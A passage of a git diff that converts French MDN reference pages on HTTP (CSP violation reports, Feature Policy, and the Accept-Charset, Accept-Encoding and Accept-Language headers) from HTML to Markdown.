Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans blocked-uri. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style http://anothercdn.example.com/stylesheet.css, le navigateur aurait indiqué seulement "blocked-uri": "http://anothercdn.example.com/", c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, disponible en anglais sur le site du W3C, explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines.

+Comme vous pouvez le constater, le rapport inclus l'URI complète de la ressource dans `blocked-uri`. Ce n'est le cas en général. Ainsi, si la page avait essayé de charger la feuille de style `http://anothercdn.example.com/stylesheet.css`, le navigateur aurait indiqué seulement `"blocked-uri": "http://anothercdn.example.com/"`, c'est à dire l'origine et non l'URI complète car l'origine de la feuille bloquée est différente de l'origine du site lui-même. La spécification de la CSP, [disponible en anglais sur le site du W3C](http://www.w3.org/TR/CSP/#security-violation-reports), explique les raisons de ce comportement qui peut surprendre de prime abord. En résumé, ce comportement évite les risques de diffuser des informations confidentielles qui pourraient être incluses dans les URI des ressources provenant d'autres origines. -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.csp")}}

+{{Compat("http.headers.csp")}} -

Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête Content-Security-Policy est défini mais qu'il n'y a pas d'en-tête Same-Origin , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu.

+_Il existe une incompatibilité spécifique dans certaines versions de Safari : si un en-tête `Content-Security-Policy` est défini mais qu'il n'y a pas d'en-tête `Same-Origin` , le navigateur bloquera le contenu du site courant et celui de l'extérieur en indiquant que la stratégie ne permet pas d'avoir ce contenu._ -

Voir aussi

+## Voir aussi - +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTTPHeader("Content-Security-Policy-Report-Only")}} +- [L'utilisation de CSP pour les WebExtensions.](/fr/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) +- [La gestion de CSP dans les web workers](/fr/docs/Web/HTTP/Headers/Content-Security-Policy#Utilisation_du_CSP_dans_les_web_workers) diff --git a/files/fr/web/http/feature_policy/index.md b/files/fr/web/http/feature_policy/index.md index 1061068d8c..3df4cd8672 100644 --- a/files/fr/web/http/feature_policy/index.md +++ b/files/fr/web/http/feature_policy/index.md @@ -17,157 +17,126 @@ tags: - permission translation_of: Web/HTTP/Feature_Policy --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité.

+Feature Policy ("réglementation des fonctionnalités" en français) permet aux développeurs web d'activer, de modifier ou de désactiver spécifiquement le comportement de certaines fonctionnalités et API dans le navigateur. Elle est similaire à {{Glossary("CSP", "Content Security Policy")}} mais contrôle les fonctionnalités plus que la sécurité. -
-

Note : L'en-tête Feature-Policy a maintenant été renommé Permissions-Policy dans la spécification, et cet article va possiblement être modifié en conséquence.

-
+> **Note :** L'en-tête `Feature-Policy` a maintenant été renommé `Permissions-Policy` dans la spécification, et cet article va possiblement être modifié en conséquence. -

En résumé

+## En résumé -

Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement.

+Feature Policy est un mécanisme vous permettant de déclarer explicitement quelles fonctionnalités sont utilisées ou non par votre site web. Ceci vous permet donc de mettre en place des bonnes pratiques en limitant les fonctionnalités disponibles, et ce bien que votre code source évoluera avec le temps et que du contenu externe puisse être intégré postérieurement et plus sainement. -

Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités.

+Avec Feature Policy, vous pouvez opter pour un ensemble de "règles" que le navigateur imposera à certaines fonctionnalités utilisées sur un site web. Ces règles restreignent quelles API le site peut utiliser ou comment il peut modifier le comportement par défaut du navigateur pour utiliser certaines fonctionnalités. -

Par exemple, voici des choses que vous pourrez faire avec Feature Policy :

+Par exemple, voici des choses que vous pourrez faire avec Feature Policy : -
    -
  • Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe,
    • -
  • Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone.
    • -
  • Permettre aux iframes d'utiliser l'API plein écran.
    • -
  • Empêcher l'utilisateur d'API obsolètes comme les XHR synchrones ou {{domxref("document.write()")}}.
    • -
  • Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre.
    • -
+- Changer le comportement par défaut de la lecture automatique sur mobile ou pour les vidéos de source externe, +- Vous interdire d'utiliser les API sensitives comme l'appareil photographique ou le microphone. +- Permettre aux iframes d'utiliser l'[API plein écran](/en-US/docs/Web/API/Fullscreen_API). +- Empêcher l'utilisateur d'API obsolètes comme les [XHR synchrones](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest) ou {{domxref("document.write()")}}. +- Vous assurer que les images sont dimensionnées correctement et ne sont pas trop grosses pour le cadre de la fenêtre. -

Concepts et utilisation

+## Concepts et utilisation -

Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité.

+Feature Policy vous permet de contrôler quelles origines peuvent utiliser quelles fonctionnalités, à la fois au niveau supérieur de navigation et dans cadres embarqués. Essentiellement, vous devez écrire une règle qui fournit une liste d'origines permises pour chaque fonctionnalité. Celles contrôlées par Feature Policy ne seront activées que dans les documents ou cadres si leur origine respective est présente dans la liste de permissions associée à cette fonctionnalité. -

Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou allowlist) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité.

+Pour chaque fonctionnalités contrôlée, le navigateurs entretient une liste d'origines (dite "liste de permissions" ou _allowlist_) pour lesquelles la fonctionnalité est activée. Si vous ne spécifiez aucune règle pour une fonctionnalité, alors la liste de permissions par défaut sera utilisée. Celle-ci est spécifique à chaque fonctionnalité. -

Écrire une règle

+### Écrire une règle -

Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité.

+Une règle est composée d'un ensemble de directives individuelles. Chaque directive est une combinaison d'un nom de fonctionnalités et d'une liste de permissions pour les origines qui pourront utiliser la fonctionnalité. -

Appliquer votre règle

+### Appliquer votre règle -

Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités :

+Feature Policy fournit deux manières d'appliquer des règles pour contrôler les fonctionnalités : -
    -
  • L'en-tête HTTP {{httpheader("Feature-Policy")}}.
    • -
  • L'attribut {{HTMLElement("iframe","allow","#Attributes")}} sur les iframes.
    • -
+- L'en-tête HTTP {{httpheader("Feature-Policy")}}. +- L'attribut {{HTMLElement("iframe","allow","#Attributes")}} sur les iframes. -

La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page.

+La principale différence entre les deux est que que l'attribut ne contrôle les fonctionnalités que dans l'iframe tandis que l'en-tête les contrôle dans la réponse et chacun des contenus imbriqués dans la page. -

Pour plus de détails, voir Utiliser Feature Policy.

+Pour plus de détails, voir [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy). -

Déterminer la règle

+### Déterminer la règle -

Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.

+Les scripts peuvent demander programmatiquement à savoir quelles règles s'appliquent au moyen de l'objet {{DOMxRef("FeaturePolicy")}} avec {{DOMxRef("Document.featurePolicy")}} ou {{DOMxRef("HTMLIFrameElement.featurePolicy")}}. -

Types de fonctionnalités contrôlables

+## Types de fonctionnalités contrôlables -

Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs.

+Bien que Feature Policy fournit un moyen de contrôler de multiples fonctionnalités en utilisant une syntaxe constante, le comportement des fonctionnaltiés contrôlées varie et dépend de plusieurs facteurs. -

Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple :

+Le principe général est qu'il devrait y avoir un moyen intuitif et fiable pour les développeurs web de savoir quand une fonctionnalité dont ils ont besoin est désactivée. Les fonctionnalités récemment introduites peuvent fournir une API explicitement conçue pour signaler un tel cas, mais celles préexistantes et qui ont intégré tardivement Feature Policy utilisent typiquement des mécanismes plus anciens, par exemple : -
    -
  • Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur,
    • -
  • Retourner false ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité,
    • -
  • Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité.
    • -
+- Retourner "permission denied" pour les API JavaScript qui requièrent une élévation de privilèges de la part de l'utilisateur, +- Retourner `false` ou jeter une erreur depuis une API JavaScript qui permet d'accéder à une fonctionnalité, +- Modifier les valeurs par défaut ou les options qui contrôlent le comportement de la fonctionnalité. -

L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories :

+L'ensemble actuel des fonctionnalités contrôlables se résume donc à deux grandes catégories : -
    -
  • Imposer des bonnes pratiques pour une bonne expérience d'utilisation,
    • -
  • Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes.
    • -
+- Imposer des bonnes pratiques pour une bonne expérience d'utilisation, +- Fournir un contrôle granulaire sur les fonctionnalités sensitives ou puissantes. -

Bonnes pratiques pour une bonne expérience d'utilisation

+### Bonnes pratiques pour une bonne expérience d'utilisation -

Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable.

+Il y a plusieurs fonctionnalités contrôlables pour vous aider à mettre en place de bonnes pratiques afin d'assurer de bonnes performances et une expérience d'utilisation agréable. -

Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines.

+Dans la plupart des cas, les fonctionnalités contrôlables sont celles qui, si utilisées, vont affecter négativement l'expérience d'utilisation. Pour éviter de faire dysfonctionner un site web déjà existant, ces fonctionnalités autorisent par défaut leur usage par toutes les origines. Une bonne pratique est donc d'utiliser des règles qui désactivent ces fonctionnalités pour certaines origines. -

La liste de ces fonctionnalités est :

+La liste de ces fonctionnalités est : -
    -
  • Animations de rafraichissement de l'affichage,
    • -
  • Formats d'image du passé,
    • -
  • Images surdimensionnées,
    • -
  • Scripts synchrones,
    • -
  • Requêtes XMLHTTPRequest sychrones,
    • -
  • Images non optimisées,
    • -
  • Médias non dimensionnés.
    • -
+- Animations de rafraichissement de l'affichage, +- Formats d'image du passé, +- Images surdimensionnées, +- Scripts synchrones, +- Requêtes XMLHTTPRequest sychrones, +- Images non optimisées, +- Médias non dimensionnés. -

Contrôle granulaire sur certaines fonctionnalités

+### Contrôle granulaire sur certaines fonctionnalités -

Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible.

+Le web fournit des fonctionnalités et API que peuvent affecter l'anonymat, la vie privée et la sécurité si leur usage est abusif. Dans certains cas, vous pourriez avoir envie de limiter strictement la manière dont de telles fonctionnalités sont utilisées sur un site web. Il y a des moyens de permettre à des fonctionnalités d'être activées ou désactivées pour des origines ou des cadres spécifiques dans un site web. Quand ils sont disponibles, les moyens intègrent avec l'API Permissions ou des mécanismes propres à eux-mêmes la possibilité de vérifier si la fonctionnalité est disponible. -

Les fonctionnalités incluent (voir la liste des Features) :

+Les fonctionnalités incluent (voir la [liste des Features](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives)) : -
    -
  • Accéléromètre
    • -
  • Capteur de luminosité ambiante
    • -
  • Lecture automatique
    • -
  • Appareil photographique
    • -
  • Médias chiffrés
    • -
  • Plein écran
    • -
  • Géolocalisation
    • -
  • Gyroscope
    • -
  • Magnétomètre
    • -
  • Microphone
    • -
  • MIDI
    • -
  • PaymentRequest
    • -
  • Picture-in-picture
    • -
  • USB
    • -
  • Web Share API
    • -
  • VR / XR
    • -
+- Accéléromètre +- Capteur de luminosité ambiante +- Lecture automatique +- Appareil photographique +- Médias chiffrés +- Plein écran +- Géolocalisation +- Gyroscope +- Magnétomètre +- Microphone +- MIDI +- PaymentRequest +- Picture-in-picture +- USB +- Web Share API +- VR / XR -

Exemples

+## Exemples - +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- Voir [Démonstrations de Feature Policy](http://feature-policy-demos.appspot.com/) pour un exemple d'utilisation de plusieurs règles. -

Spécifications

+## Spécifications - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}{{Spec2("Feature Policy")}}Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails.
+| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}} | {{Spec2("Feature Policy")}} | Définition initiale. Définit l'en-tête {{httpheader("Feature-Policy")}}. Les directives sont définies dans la spécification pour les fonctionnalités qu'elles contrôlent. Voir les pages individuelles des directives pour plus de détails. | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs +{{Compat("http.headers.Feature-Policy")}} +## Voir aussi -

{{Compat("http.headers.Feature-Policy")}}

- -

Voir aussi

- - +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) +- {{HTTPHeader("Feature-Policy")}} HTTP header +- {{HTMLElement("iframe","allow","#Attributes")}} attribute on iframes +- [Introduction à Feature Policy](https://developers.google.com/web/updates/2018/06/feature-policy) +- [Feature policies sur www.chromestatus.com](https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy) +- [Feature-Policy Tester (extension Chrome Developer Tools)](https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop) +- [Anonymat, permissions et informations sur la sécurité](/en-US/docs/Web/Privacy) diff --git a/files/fr/web/http/headers/accept-charset/index.md b/files/fr/web/http/headers/accept-charset/index.md index e832f5b513..7f542ec055 100644 --- a/files/fr/web/http/headers/accept-charset/index.md +++ b/files/fr/web/http/headers/accept-charset/index.md @@ -3,79 +3,63 @@ title: Accept-Charset slug: Web/HTTP/Headers/Accept-Charset translation_of: Web/HTTP/Headers/Accept-Charset --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête HTTP de la requêteAccept-Charset indique le jeu de caractères que le client est capable de comprendre. À l'aide de la content negotiation, le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile.

+L'en-tête HTTP de la requête**`Accept-Charset`** indique le jeu de caractères que le client est capable de comprendre. À l'aide de la [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation), le serveur sélectionne l'une des propositions, l'utilise et informe le client de son choix dans l'en-tête de réponse {{HTTPHeader ("Content-Type")}}. Les navigateurs ne définissent généralement pas cet en-tête car la valeur par défaut de chaque type de contenu est généralement correcte et sa transmission permettrait une empreinte digitale plus facile. -

Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête Accept-Charset dans ce cas.

+Si le serveur ne peut servir aucun jeu de caractères correspondant, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (non acceptable). Cependant, pour une meilleure expérience utilisateur, cela est rarement fait et le moyen le plus courant consiste à ignorer l'en-tête `Accept-Charset` dans ce cas. -
-

Note : Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut.

-
+> **Note :** Dans les premières versions de HTTP / 1.1, un jeu de caractères par défaut (ISO-8859-1) était défini. Ce n'est plus le cas et maintenant chaque type de contenu peut avoir sa propre valeur par défaut. - - - - - - - - - - + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
-

Syntax

+## Syntax -
Accept-Charset: <charset>
+    Accept-Charset: 
 
-// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
-Accept-Charset: utf-8, iso-8859-1;q=0.5
+ // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: + Accept-Charset: utf-8, iso-8859-1;q=0.5 -

Les directives

+## Les directives -
-
<charset>
-
Un jeu de caractères comme utf-8 ou iso-8859-15.
-
*
-
Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '*' utilisé comme un joker.
-
;q= (q-factor weighting)
-
Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée  weight.
-
+- `` + - : Un jeu de caractères comme utf-8 ou iso-8859-15. +- `*` + - : Tout jeu de caractères non mentionné ailleurs dans l'en-tête; '\*' utilisé comme un joker. +- `;q=` (q-factor weighting) + - : Toute valeur est placée dans un ordre de préférence exprimé à l'aide d'une valeur de qualité relative appelée  _weight_. -

Examples

+## Examples -
Accept-Charset: iso-8859-1
+    Accept-Charset: iso-8859-1
 
-Accept-Charset: utf-8, iso-8859-1;q=0.5
+    Accept-Charset: utf-8, iso-8859-1;q=0.5
 
-Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
-
+ Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 -

Specifications

+## Specifications - - - - - - - - - - - -
SpecificationTitre
{{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+| Specification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Accept-Charset", "5.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Accept-Charset")}}

+{{Compat("http.headers.Accept-Charset")}} -

Voir également

+## Voir également -
    -
  • HTTP content negotiation
    • -
  • Header avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Type")}}
    • -
  • Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}
    • -
+- HTTP [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation) +- Header avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Type")}} +- Autres Header similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/headers/accept-encoding/index.md b/files/fr/web/http/headers/accept-encoding/index.md index 42d6228260..8d785a5a8c 100644 --- a/files/fr/web/http/headers/accept-encoding/index.md +++ b/files/fr/web/http/headers/accept-encoding/index.md @@ -3,47 +3,43 @@ title: Accept-Encoding slug: Web/HTTP/Headers/Accept-Encoding translation_of: Web/HTTP/Headers/Accept-Encoding --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête HTTP Accept-Encoding permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant la négociation de contenu, le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse Content-Encoding.

+L'en-tête HTTP **`Accept-Encoding`** permet de définir quel sera l'encodage du contenu. Il s'agit généralement de l'algorithme de compression utilisé par le serveur. Le client peut alors décoder le corps de la requête correctement. Utilisant [la négociation de contenu](/fr/docs/Web/HTTP/Content_negotiation), le serveur choisit l'une des propositions d'encodage que le client prend en charge. Le serveur l'utilise et le notifie au client à l'aide de l'en-tête de réponse [`Content-Encoding`](/fr/docs/Web/HTTP/Headers/Content-Encoding). +Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage `identity` (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse : -

Même si le client et le serveur supportent deux algorithmes de compressions communs, le serveur peut choisir de ne pas compresser le corps de la réponse si l'encodage identity (aucune compression) est accepté par le client. Deux exemples de cas communs peuvent conduire à la non-compression du corps de la réponse :

+- Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés ; +- Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul. +Dès lors que l'usage d'`identity`, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par `identity;q=0` ou `*;q=0` (sans l'usage d'une autre valeur pour `identity`), le serveur ne doit jamais renvoyer une erreur [`406`](/fr/docs/Web/HTTP/Status/406) `Not Acceptable.` -
    -
  • Les données sont déjà compressées et la compression ne réduira pas la taille des données transmises. Cela peut être le cas de certains formats d'images qui sont déjà compressés ;
    • -
  • Le serveur est en surcharge et ne peut plus allouer suffisamment de temps de calcul nécessaire pour compresser les données. Microsoft recommande de ne pas utiliser la compression si le serveur utilise plus de 80% de la puissance de calcul.
    • -
- -

Dès lors que l'usage d'identity, signifiant l'absence de compression, n'est pas explicitement interdite, que ce soit par identity;q=0 ou *;q=0 (sans l'usage d'une autre valeur pour identity), le serveur ne doit jamais renvoyer une erreur 406 Not Acceptable.

- -
-

Note : -

    -
  • Un dépôt IANA garde à jour une liste complète des encodages de contenu. -
    • -
  • Deux autres encodages, bzip et bzip2, sont parfois utilisés, bien que non-standards. Ils implémentent l'algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n'est plus maintenu suite à des problèmes de licence.
    • -
-

-
+> **Note :** +> +> - Un dépôt IANA garde à jour [une liste complète des encodages de contenu](https://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1). +> - Deux autres encodages, `bzip` et `bzip2`, sont parfois utilisés, bien que non-standards. Ils implémentent l'algorithme utilisé par les deux programmes UNIX respectifs. À noter que le premier n'est plus maintenu suite à des problèmes de licence. - - - - - - - - - - + + + + + + + + + +
Type d'en-têteEn-tête de requête
Nom d'en-tête interditOui
Type d'en-têteEn-tête de requête
+ Nom d'en-tête interdit + Oui
-

Syntaxe

+## Syntaxe -
Accept-Encoding: gzip
+```html
+Accept-Encoding: gzip
 Accept-Encoding: compress
 Accept-Encoding: deflate
 Accept-Encoding: br
@@ -51,61 +47,46 @@ Accept-Encoding: identity
 Accept-Encoding: *
 
 // Plusieurs algorithmes pondérés par facteur de qualité :
-Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5
- -

Directives

- -
-
gzip
-
Un format de compression utilisant Lempel-Ziv coding (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits.
-
compress
-
Un format de compression utilisant l'algorithme Lempel-Ziv-Welch (LZW).
-
deflate
-
Un format de compression utilisant la structure zlib, avec l'algorithme de compression deflate.
-
br
-
Un format de compression utilisant l'algorithme Brotli.
-
identity
-
Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas.
-
*
-
Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée.
-
;q= (pondération par qvalues)
-
La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les pondérations de qualité (ou quality values en anglais).
-
- -

Exemples

- -
Accept-Encoding: gzip
-
-Accept-Encoding: gzip, compress, br
-
-Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpecificationTitle
RFC 7231, section 5.3.4: Accept-EncodingHypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5 +``` + +## Directives + +- `gzip` + - : Un format de compression utilisant [Lempel-Ziv coding](https://fr.wikipedia.org/wiki/LZ77_et_LZ78#LZ77) (LZ77), avec un CRC (Contrôle de Redondance Cyclique) de 32 bits. +- `compress` + - : Un format de compression utilisant l'algorithme [Lempel-Ziv-Welch](https://fr.wikipedia.org/wiki/Lempel-Ziv-Welch) (LZW). +- `deflate` + - : Un format de compression utilisant la structure [zlib](https://fr.wikipedia.org/wiki/Zlib), avec l'algorithme de compression [_deflate_](https://fr.wikipedia.org/wiki/Deflate). +- `br` + - : Un format de compression utilisant l'algorithme [Brotli](https://fr.wikipedia.org/wiki/Brotli). +- `identity` + - : Indique la fonction identité (c'est-à-dire pas de compression ou de modification). Cette valeur est toujours considérée comme acceptable, même si l'en-tête ne le précise pas. +- `*` + - : Correspond à tous les systèmes d'encodage de contenu qui n'ont pas été listés dans l'en-tête. C'est la valeur par défaut de l'en-tête s'il n'est pas présent. Cela ne signifie pas que tous les algorithmes sont supportés; seulement qu'aucune préférence n'est exprimée. +- `;q=` (pondération par qvalues) + - : La valeur indique l'ordre de préférence des méthodes de compression à utiliser. Ce champ utilise les [pondérations de qualité (ou _quality values_ en anglais)](/fr/docs/Glossary/Quality_values). + +## Exemples + + Accept-Encoding: gzip + + Accept-Encoding: gzip, compress, br + + Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 + +## Spécifications + +| Specification | Title | +| --------------------------------------------------------------------------------------------- | ------------------------------------------------------------- | +| [RFC 7231, section 5.3.4: Accept-Encoding](https://tools.ietf.org/html/rfc7231#section-5.3.4) | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Accept-Encoding")}}

+{{Compat("http.headers.Accept-Encoding")}} -

Voir aussi

+## Voir aussi - +- [Négociation de contenu](/fr/docs/Web/HTTP/Content_negotiation) HTTP +- En-tête résultant de la négociation de contenu : [`Content-Encoding`](/fr/docs/Web/HTTP/Headers/Content-Encoding) +- Autres en-têtes en rapport : [`TE`](/fr/docs/Web/HTTP/Headers/TE), [`Accept`](/fr/docs/Web/HTTP/Headers/Accept), [`Accept-Charset`](/fr/docs/Web/HTTP/Headers/Accept-Charset), [`Accept-Language`](/fr/docs/Web/HTTP/Headers/Accept-Language) diff --git a/files/fr/web/http/headers/accept-language/index.md b/files/fr/web/http/headers/accept-language/index.md index 0c5663c30c..fc23cb2c34 100644 --- a/files/fr/web/http/headers/accept-language/index.md +++ b/files/fr/web/http/headers/accept-language/index.md @@ -9,85 +9,73 @@ tags: - Reference translation_of: Web/HTTP/Headers/Accept-Language --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête Accept-Language de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la négociation de contenu, le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique).

